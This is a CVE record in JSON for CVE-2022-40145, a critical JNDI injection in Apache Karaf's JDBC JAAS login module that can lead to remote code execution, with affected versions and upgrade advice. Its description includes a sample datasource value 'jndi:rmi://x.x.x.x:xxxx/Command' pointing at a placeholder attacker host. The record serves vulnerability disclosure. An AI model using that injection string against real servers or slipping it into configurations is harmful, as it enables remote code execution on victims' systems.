{"id":"CVE-2022-40145","state":"PUBLISHED","title":"Apache Karaf: JDBC JAAS LDAP injection","description":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","publishedAt":"2022-12-21T15:23:42.847Z","updatedAt":"2025-04-15T18:03:47.618Z","severity":{"score":9.8,"label":"Critical","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP"},"assigner":"apache","products":["Apache Software Foundation Apache Karaf"],"affected":[{"vendor":"Apache Software Foundation","product":"Apache Karaf","defaultStatus":"unaffected","versions":[{"version":"4.4.0","status":"affected","lessThan":"4.4.2","versionType":"maven"},{"version":"0","status":"affected","lessThan":"4.3.8","versionType":"maven"}]}],"references":["https://karaf.apache.org/security/cve-2022-40145.txt"],"weaknesses":["CWE-74","CWE-20"],"ingestedAt":"2026-10-29T19:50:35.280Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2022/40xxx/CVE-2022-40145.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2022-40145","state":"PUBLISHED","datePublished":"2022-12-21T15:23:42.847Z","dateUpdated":"2025-04-15T18:03:47.618Z","assignerShortName":"apache","assignerOrgId":"f0158376-9dc2-43b6-827c-5f631a4d8d09","dateReserved":"2022-09-07T08:02:30.677Z"},"containers":{"cna":{"title":"Apache Karaf: JDBC JAAS LDAP injection","descriptions":[{"lang":"en","value":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"}],"affected":[{"vendor":"Apache Software Foundation","product":"Apache Karaf","defaultStatus":"unaffected","versions":[{"version":"4.4.0","status":"affected","lessThan":"4.4.2","versionType":"maven"},{"version":"0","status":"affected","lessThan":"4.3.8","versionType":"maven"}]}],"references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","tags":["vendor-advisory"]}],"metrics":[{"other":{"content":{"text":"low"},"type":"Textual description of severity"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-74","description":"CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","lang":"en","type":"CWE"}]},{"descriptions":[{"cweId":"CWE-20","description":"CWE-20 Improper Input Validation","lang":"en","type":"CWE"}]}],"providerMetadata":{"shortName":"apache","orgId":"f0158376-9dc2-43b6-827c-5f631a4d8d09","dateUpdated":"2022-12-21T15:23:42.847Z"},"credits":[{"lang":"en","type":"reporter","value":"Xun Bai <bbbbear68@gmail.com>"}],"source":{"defect":["KARAF-7568"],"discovery":"EXTERNAL"},"x_generator":{"engine":"Vulnogram 0.1.0-dev"}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://karaf.apache.org/security/cve-2022-40145.txt","tags":["vendor-advisory","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-03T12:14:39.957Z"}},{"title":"CISA ADP Vulnrichment","metrics":[{"cvssV3_1":{"scope":"UNCHANGED","version":"3.1","baseScore":9.8,"attackVector":"NETWORK","baseSeverity":"CRITICAL","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","integrityImpact":"HIGH","userInteraction":"NONE","attackComplexity":"LOW","availabilityImpact":"HIGH","privilegesRequired":"NONE","confidentialityImpact":"HIGH"}},{"other":{"type":"ssvc","content":{"timestamp":"2025-04-15T18:02:30.458673Z","id":"CVE-2022-40145","options":[{"Exploitation":"none"},{"Automatable":"yes"},{"Technical Impact":"total"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"providerMetadata":{"shortName":"CISA-ADP","orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","dateUpdated":"2025-04-15T18:03:47.618Z"}}]}}}